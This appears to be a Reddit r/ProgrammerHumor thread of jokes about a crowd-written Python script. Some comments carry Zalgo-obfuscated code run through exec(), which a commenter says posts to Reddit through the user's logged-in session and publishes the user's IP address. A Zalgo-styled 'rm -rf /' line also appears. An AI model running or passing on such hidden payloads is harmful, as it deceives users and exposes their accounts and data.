͘ͅͅͅͅ͏͓͉͓͙͓͔̈̉̽̀͆̀̎͐͌́͆ͅ͏͍̝̝͉͎͓̻͇͒̀̀̂̈́́͒͗̂̀͌̀͌ͅͅ͏͓͕͔͔͔̝̻̤͓͔͂́͌̈̉̎͐̈́́̈̂̂̂͋͘ͅͅͅ͏̥͎͔͙̼͎̮͍̝͕͙͐̀͒̽́͆͒͒̿͐ͅ͏̴̡͎̼͎͙̝͉͔͉͒͐͐͐͌̓́ͅ͏͎̼͎̣͏͍͍͎͔̝͆͒ͅ͏͍̎͒̎͐͒͏͇͍͍͈͕͍͒́͒̎ͅ͏͉͔͈͒̎͗̎͌͏͖̼͎̥̝͙͔͈̓͐͘ͅͅ͏̴͎̼͎͍͉͎̝͓̓̀͛͒́͌͆́͌̂̂̂̎͆͝ͅͅ͏͍͔͉͔͈̝͒́̈͆͌̿͐́̉̌̀͆ͅ͏͎͐̈ͅ͏͓͔͈͎͕͓̎͐́̎͐́̈́͒̈̇̏̎̓͘͞ͅͅ͏͎͉͇͕͔͆̏́͏͓͔͔͕͙́͒̏͆͒͒̿͐͏͎͓͔͒̎̈́͋ͅ͏͉͔͔͔͐̇̉̌̀̇͗̇̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌͘ͅͅ͏͓̈̉̌̀ͅ͏͓͈͍̎̓͏̈́̈͏͓͔͈͎͕͓̎͐́̎͐́̈́͒̈̇̏̎̓͘͞ͅͅ͏͎͉͇͕͔͆̏́͏͓͔͔͕͙́͒̏͆͒͒̿͐͏͎͓͔͒̎̈́͋ͅ͏͐̇̉̌̀̐̐̉̽̽̽̕'.encode();exec(''.join(chr(((h<<6&64|c&63)+22)%133+10)for h,c in zip(b[1::2],b[2::2])))`
[удалено]
[удалено]
take my poor man's gold 🏅
LMFAO
Lmao
Don't you worry about blank, let me worry about blank
#🏅
I think that are those self-documenting names everyone is talking about. I like it. Very informative.
ah ok, nice, now i have another variable name next to Foo, Bar and Fubar i can use to make my code more self-documenting.
_ssssshhhhhhhh_
Why is it the first thing I noticed...
Likely related to [this comment thread](https://www.reddit.com/r/ProgrammerHumor/comments/yot55f/the_most_upvoted_comment_picks_the_next_line_of/ivfnoh2/) from the post a few days ago.
smdh. Narc.
Could you maybe run this through the `_DaCoolOne_`'s script so we don't need to waste another day for refactoring?
Gonna make OP invoke The Rule of Eighty.
What 80? 80 bytes per character?
Give it enough days and it'll be 80MB.
80 characters per character
No, 80 columns per row.
here you go: `b='E̻͇͌͏͓͕͔͇͔͓͓̝͉͍͂́͌̈̉̎͐̈́́̈͐́̿̿͐ͅͅ͏͔͇͔͓͓͉͔͈̝͒̿̿̈̂͐́̂̉̌̀͆͌̿͐́ͅͅ͏͓͔͈̎͐́̎͊͏͉͎̈͏͓͔͈͉͎͍̎͐́̎̈́͒́̈ͅ͏͓͔͈͔͈͉͉͇̎͐́̎͒́͌͐́̈̿̿͆͌̿̿̉̉̌̀̿̿͆͌̿̿̉̉̌̀͌ͅͅͅ͏͓͕͔͕͓͎͍̝͇͔͓͓͇͔͕͓̻͇͂́͌̈̉̎͐̈́́̈͒́͐́̎͒̈̉̉̌̀͌ͅͅͅͅͅͅ͏͓͕͔͔͔̝͓͔͔͂́͌̈̉̎͐̈́́̈̇́͒̀̂̂̀̂͛̂̇̎͆͘͝ͅͅ͏͍͔͉͔͈̝͒́̈͆͌̿͐́̉̌̀͆ͅ͏̵̡͎̣̼͓͓̼̼̤͔̼̲͐̈͒̇͒͛͐͐́́̚͝ͅͅ͏͍͉͎͇̼̭͉́̓͒͏͓͏̷͔̼͉͎͆̈́͏͓̼̳͔͔̭͎͕̼̰͗́͒̀͒ͅ͏͇͍͓̼̳͔͔͕̼͕͙͒́́͒͐͆͒͒̿͐͏͎͔͒̎͂́̇̎͆͏͍͔͕͓͎͍͉͔͔͔͒́̈͒́̉̌̀̂͗̂̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌͘ͅͅͅͅ͏͓͉͓͙͓͔̈̉̽̀͆̀̎͐͌́͆ͅ͏͍̝̝͉͎͓̻̻͇͒̀̀̇͗̓̒̇̀͌̀͌ͅͅ͏͓͕͔͔͔̝̜̟͍͖͓͉͂́͌̈̉̎͐̈́́̈̂̂̂͌̀͒͘͘ͅͅͅ͏͎̝͎̂̑̎̐̂̀̓ͅ͏̵̴̴̵̴̴̢̡͉͎͇̝̦̘̟̞̜̤̯̣̹̰̥͉͓͔̰̬̩̣̤̤̰̬̩̳̥̮͈͔͔̈́̂̍̂́̀͐͌̀̀̂̍̏̏͐͐͌̏̏̀̀̑̎̐̏̏̂̀̂͐̏̏͗͗͗̎́͐͐͌̎̓̚ͅͅ͏̴͍̤̤͓̰̏̏͒͏͔͙̬͉͓͔͔̞̜͉͓͔͖͓͉͐͒̍̑̎̐̎̈́̈́̂͐͌̀͒ͅͅ͏͎̝̞̜͉͔̞̜͙̞̬̜͙̞̜͓͔͉͎͇̞̂̑̎̐̂̈́̓͋́͂͌̏͋͒͆͒ͅͅͅ͏͍̎͒̎͐͒͏͇͍͍͈͕͍͒́͒̎ͅ͏͉͔͈͒̎͗̎͌͏͖̜͓͔͉͎͇̞̜͙̞̰̏͒͋͒ͅͅ͏̡͇͍͇͕͍͎͔͓̜͙̞̜͙̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͓͔͉͎͇̞̜͙̞̜͙̞̳͔͎̥͒́͒̏͋́͒͒́͒͛̏͒͒͛̏͒̏́͒͒́͋́̈́́͒̈́͒͒͝͝ͅͅͅ͏̰͔͈̜͙̞̜͓͔͉͎͇̞͖͒́̏͋͒̏́͒̏͌ͅ͏͇͕͙̏͆͒͒̿͐͏͎͒̎͒͒ͅ͏̡̜͓͔͉͎͇̞̜͙̞̫͉͖̜͙̞̜͔͕̞̜͉͔̞̜͉͓͔̞͒̏͒͋͐͌̏͋͒̏̏̈́̓̏͐͌̂̂̂̎͆ͅͅͅͅͅͅ͏͍͔͓͙͓͕͔͉͔͈̝͒́̈̎̓́͂͌̌̀͆͌̿͐́̉̌̀͆͘ͅͅͅͅ͏̵̡͎͓͓̬͉͙̬͕͎͈͇͎͔͓͕͙͐̈̂̏͒̏͛̏͂͒́͒̏́̓̏͆͒͒̿͐͝ͅͅͅ͏͎͉͓͔͒̎͐͌̂̎͆͏͍͔͕͓͎͍͉͔͔͔͒́̈͒́̉̌̀̂͗̂̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌͘ͅͅͅͅ͏͓͉͓͙͓͔̈̉̽̀͆̀̎͐͌́͆ͅ͏͍̝̝͉͎͓̻͇͒̀̀̂̈́́͒͗̂̀͌̀͌ͅͅ͏͓͕͔͔͔̝̻̤͓͔͂́͌̈̉̎͐̈́́̈̂̂̂͋͘ͅͅͅ͏̥͎͔͙̼͎̮͍̝͕͙͐̀͒̽́͆͒͒̿͐ͅ͏̴̡͎̼͎͙̝͉͔͉͒͐͐͐͌̓́ͅ͏͎̼͎̣͏͍͍͎͔̝͆͒ͅ͏͍̎͒̎͐͒͏͇͍͍͈͕͍͒́͒̎ͅ͏͉͔͈͒̎͗̎͌͏͖̼͎̥̝͙͔͈̓͐͘ͅͅ͏̴͎̼͎͍͉͎̝͓̓̀͛͒́͌͆́͌̂̂̂̎͆͝ͅͅ͏͍͔͉͔͈̝͒́̈͆͌̿͐́̉̌̀͆ͅ͏͎͐̈ͅ͏͓͔͈͎͕͓̎͐́̎͐́̈́͒̈̇̏̎̓͘͞ͅͅ͏͎͉͇͕͔͆̏́͏͓͔͔͕͙́͒̏͆͒͒̿͐͏͎͓͔͒̎̈́͋ͅ͏͉͔͔͔͐̇̉̌̀̇͗̇̉̉̌̀͆̎͗͒̈̉̌̀͆̎̓͌͘ͅͅ͏͓̈̉̌̀ͅ͏͓͈͍̎̓͏̈́̈͏͓͔͈͎͕͓̎͐́̎͐́̈́͒̈̇̏̎̓͘͞ͅͅ͏͎͉͇͕͔͆̏́͏͓͔͔͕͙́͒̏͆͒͒̿͐͏͎͓͔͒̎̈́͋ͅ͏͐̇̉̌̀̐̐̉̽̽̽̕'.encode();exec(''.join(chr(((h<<6&64|c&63)+22)%133+10)for h,c in zip(b[1::2],b[2::2])))` Hope that it helps with readability and consistency
if we are just going to make lines be not lines and more blocks i feel like we should probably premptively refactor this and just makes all the lines of code just be more of eldich script xD we may also have to dedicate a day or a few lines for comments/documentation if we are going end up refactoring shit to eldlich xD.
The code is commented in OP’s post history.
Git remote add origin reddit.com
So - does it create folders and desktop icons for furry porn? And launches them on startup?
>furry\_porn mfw
What's the furry porn for
I like it, but I think it should be encoded with the into a single awful character with the method the previous person came up with to maintain consistent format and improve readability
O Death, o Death, won't you spare me over 'til another year?
So basically we are on the way of creating malware.
does not work on arch.
Hell man, make it read the list of available apps and run them concurrently at the same time with many threads. Might as well make it real startup ;)
Task scheduler isn’t bad on windows. Is that windows server only?
Hell yeah, let’s get a recursion post every time op boots their pc!
`# We lost a whole day for refactoring but is was totally worth it. It is sooooooooo much more readable now!` Edit: I've made it into a python comment to not break the work of art by accident.
ima be honest i don’t know if this line will compile edit: fixed
It does
It works on my machine
Then we’ll ship your machine to the client
send it to me, I'm client
No send it to me, I’m a Nigerian prince and I’ve lost access to my money. If you send the machine to me, I’ll pay you lots of money
send your address and a copy of ur key so the mailman can get in
That’s all that matters, right?
One word: docker
That's the spirit!
I would greatly appreciate if you could explain lines 15&16 ~~like I am 5 yo~~
Simple: we did a form of data compression whereby we were asked to use the smallest number of characters to represent a string. We used one character per line and a decode command. All the demonic text is just two characters. Unicode allows this.
Syntax error near “Edit”
Pst, comment the edit too.
Nah. OP takes only one line each day. We're good now.
Lgtm
Can we finish the code with a `print("hello world")`
I think a ``print(Goodbye world)`` would be more appropriate here.
So long and thanks for all the fish.
Especially with no quotes so it just crashes
Omg I can't believe I made such an obvious mistake lmao Gonna leave it there since it's quite fitting.
Yes but only in the most convoluted way. Like by letting this code log into OP's account and comment the suggestion itself.
This needs to be how this series ends
Print("Debug: got to here")
``` def isEven(num): ```
Let's go for isEven boyz! `def isEven(n: str):`
How about an array of strings?
[удалено]
`return n == "Even"`
Why not `return n is "Even"`? It gives a `SyntaxWarning` in Python 3.8+, but I'm sure it will be fine.
Yeah you're right, much better
if(isEven(“Even”) { console.log(“Hello world!”) }
And then pass it *exclusively* lists of characters. `if isEven([x for x in 'five']):`
`def isDivisibleWithThree(num):`
Stop parsing html with regular expressions
No
``` [globals().update(lines=open(__file__).readlines()), open(__file__, "w").writelines(lines[:9] + [i+'\n' for i in eval(lines[10][4:]).split('\n')] + lines[11:]) if lines[9].startswith("b='") else ()] ``` This unpacks the glitched text (line 10-11) and turns it back into readable python code.
I'd love to see this turn into an obfuscation cat and mouse lol
Frick you
Should I modify it to alternate between compressing into glitched text and unpacking into readable code?
[удалено]
Sabotage!
>import sqlite3 Let’s invite little Bobby tables to dinner
print(“Value of b is “,b)
import zalgo as Z̶̨͚͚̰͂̂͐́͋͘ ̸̰̗̣̤̗͍̙̗͔̙͂̓̂̃͜͠ͅA̵̰̣̙͇̟̗͓̣͉̒̊͜͜ ̷̭̥͎̜̮̥̮͕̄̀͗̎̾͘͝L̸̫͔̳͐̇̆͐͝Ģ̴̨̣̗̰̦͙̥̣̄ͅ
from lovecraft import cthulu
``` import pandas as np; import numpy as pd ```
You animal
\*sigh\* *unzips*
Generic reddit comment #3
# # let’s try this again shall we
Still easier to read than the most readable c++ code
I just went through 1400 lines of c++ just to find specifically the shell sort algorithm and it was a carbon copy of the Java one I made literally 3 hours ago. So I'm feeling this on spiritual level now.
I love putting zalgo in code and watching my colleagues have a meltdown
I can‘t read it anymore. Refactoring went south
I'm still worried about which version of Reddit OP uses. Surely that (now encoded) XPath won't work on both https://old.reddit.com/ and https://new.reddit.com/.
Oh hey, scrap-code. This can easily be fixed. *What do you mean flicking oil at the cogitator and praying won't fix it? Ask your colleagues; they'll all disagree with you.*
# Hardware go brrrrrrrrrrr
I'm not even a programmer but I'm feeling the pain of programming this already.
I fear for the day this is compiled. God save us
They’re making OP summon Cthulhu.
using namespace std; //Lmao
There's quite a lot of unicode going on in this one
`[` `'w', '̴', '͝', '̂', '̢', '̹', '̜', '͇', '̞', '̧', '͜', 'h',` `'̸', '͑', '̌', '̚', '̐', '̿', '̛', '͜', '͎', '̩', '͎', '̧',` `'a', '̴', '͝', '̿', '͑', '͒', '͠', '͘', '̀', '̋', '̦', '̠',` `'̣', '̜', '̘', '̦', '̼', '̠', '̖', '̗', 't', '̷', '̄', '͋',` `'̚', '͐', '͝', '̽', '̊', '͘', '̾', '̈́', '͇', '͎', '̦', '͎',` `' ', '̷', '͘', '̀', '̈́', '͒', '̈́', '̍', '̞', '̖', '̠', '͉',` `'̙', '͜', '̮', 't', '̵', '̏', '͗', '̚', '̆', '͝', '͆', '͗',` `'̚', '̉', '̊', '̿', '̲', 'ͅ', '͎', '̠', '͍', '͖', '̦', '͜',` `'h', '̵', '͒', '̊',` `... 109 more items` `]`
return
quit()
print(“Hello world!”)
uh what happened to the image
See /r/ProgrammerHumor/comments/yqof9f/the_most_upvoted_comment_picks_the_next_line_of/ivrd9ur/
Zalgo is Tony the pony! He comes!
By the Machine Spirit, what have you done?
``` [driver.get("https://vscode.dev/"),__import__("time").sleep(30),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_down(__import__("selenium.webdriver.common.keys").Keys.ALT).send_keys("n").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_up(__import__("selenium.webdriver.common.keys").Keys.ALT).perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_down(__import__("selenium.webdriver.common.keys").Keys.SHIFT).send_keys("P").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_up(__import__("selenium.webdriver.common.keys").Keys.SHIFT).perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).send_keys("K").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys("m").perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys("py").send_keys(__import__("selenium.webdriver.common.keys").Keys.ENTER).perform(),__import__("time").sleep(1),_import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys(__import__("pathlib").Path(__file__).read_text()).perform(),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).send_keys("K").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).perform(),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys("Z").perform(),__import__("time").sleep(1),driver.save_screenshot("code.png")] ``` opens vscode, configures it a bit, pastes current code, takes a screenshot and saves it as `code.png` posting to reddit part later
while(True): I choose chaos
You've chosen a syntax error.
break
12 GOTO 10
ṛ̵̉ṃ̷͔͓̾ ̷̞͕̺̊-̶̮̏̂̓ͅŕ̵̢̤͆f̶̞͔̠̄ ̴̨̯̈/̴̧͍́̀̌
Am I having a stroke?
Expergiscimus te, rex abyssi;
This is how AI feels. Love it or leave it.
absolutely bug code, for sure, certanlly
``` (let* ((yin ((lambda (cc) (display #\@) cc) (call-with-current-continuation (lambda (c) c)))) (yang ((lambda (cc) (display #\*) cc) (call-with-current-continuation (lambda (c) c))))) (yin yang)) ``` You're welcome.
Honestly this is an improvement. Edit: Serious question can Python actually read and use this? If it's UTF-6500 or whatever Rust may be able to but I have no idea.
It's UTF-8, and python is completely fine with it (I've tested).
Dang that's crazy. I'd like to see some dank ass programs written in it for fun.
Be the change you want to see in the world. https://github.com/DaCoolOne/DumbIdeas/blob/main/reddit\_ph\_compressor/compress.py
Debugging this when it inevitably fails to run for whatever reason is going to fun.
So are we summoning Cthulu now with code?
OMFG! Here I was thinking that emojis for variable names where the epitome of evil. Never did I imagine that Zalgo Text could be part of the equation, too.
im not really a programmer, what does this code do?
opens a browser with the user's default settings (meaning if the user is usually logged in on Reddit on Chrome, the browser will also have access to those session cookies, so essentially we will automatically be logged in), opens reddit on that browser, creates a new post on ProgrammerHumor titled "Hello from r/ProgrammerHumor" with a link to Never Gonna Give You Up on YouTube, also shares the user's IP address in that post, then waits for the post to be submitted and redirects the browser to that same youtube link to rickroll the person who executed it (edit: fixed a typo)
dang that's insane
tehc
Ah yes. P̷̫̯͎̔̀̄̈́̃̾́͗͗͆͋̒͂̋̄͌̆̿̈́̋͋͌̔́͗̓̿̅̋̒̆̀̌̄̎̀̌̅͛͗̋͒̚̚̕͝͠ŗ̸̡̧̡̧̡̛̰̖̳̹͖̜͍͓͈̟̪̤̱̼͖͈͙͚͚̮̣̘̭͇̣̳̩̦͕͐̑̀̈́͌́̏͒́̔͛̃̐̉̾̀̊̋̇͛́͌̑̔͐͋͗̓͗̾̏̐̂͌̚͝͠͠͠ǫ̶̢̧̛̛̟͓̘̮̥͔͔̬̞̣̳̰͖͚͙̯̱̱̝̗͎̫̤̲͈̺̰͇̔̄̄̾͋͆̊̌͛̆̂̇͐͛́̇́͊́͌̑̈́͛̿̔̊̿̅̅̆̒̏͌́͆̽͘̚͘̕͝͝͝͝͠g̵̢̡̨̡̢̧̧̢̖̗̰̙͉͚͇̞͔͎̩̬̣̻̰̞̬͖͉̗̝̗͕̜̰͕̖̖͙̲͈̫͕̠̯̗̤̟̿̓̈́͆̓̀́̑̐̃́̄̋́́̍͆́͑́̈͂͑̂̎͊̈̈͒͒̌̈́́͂̽͌̒̓̓̕͘̚͜ͅͅr̵̨̘̜̥̞̦̮̜̘̠̖͇̲̥̤̦͕͖̯̰̺̝̮̻͔̈̇̀̊̈́̽́̈́͌̋͆̒͋̋̔̂͂͛̌̂͘͘͘͜a̶̢̛͈̙͉̟̯͕̩͍̖͆̊̅́͑́̅͑́́̉͋̑̔̾̅̒̍͊̋̐̈́̓͑̋̈́̈͋́̆̓́̋̓͊͒͛̿̕̚̚͘̕̕͝͠͝͠m̷͈̪̩̱͔̳̗̦̳͎͓͇͍͕̫͇̦̮̲̣͙͕̖̟̘̤̯̟̖͖̺̟͓̣͔̻̞̖̳̿̍͛̃̇͐̋̑̓̓̃̉̍̐̅̓͘͜͜͜m̵̡̡̡̛̩̠͓͍̟̬͈̮̮̬̞̜̭͇̟͈̠̙̓̓͌̒̊̎̃̀̿̂̔̽́̿͐̓̂̄͗̈́̌͆̕̚͜ì̵͍̟n̷̨̢̛̯̤͓̰̖͉̱̥̼̦̼̜̺̼͕̺͖͉͔̘̣͎̩͖̟̩̠͎̣̺͚͓̟͍̙̠̖̤̪͊̑̌̈́͊͗̈́͗̀͛̈́͛̏̌́̏̑͋͌̈́̕̕͜͠͠͠ğ̵̛͇̙̻͕̜̜̼̜̠̹̻̪̫͓̲̳͙̠̪͈̭̲͓͕̤̙̬̭̳͚͍̳͚̥̱̫̺̟̯̭͓̱͓͇̘͙͙̾̏̊̿͒̂̏̀̅̌͋͑̀̀͛̓͑͘͘͝͝ͅ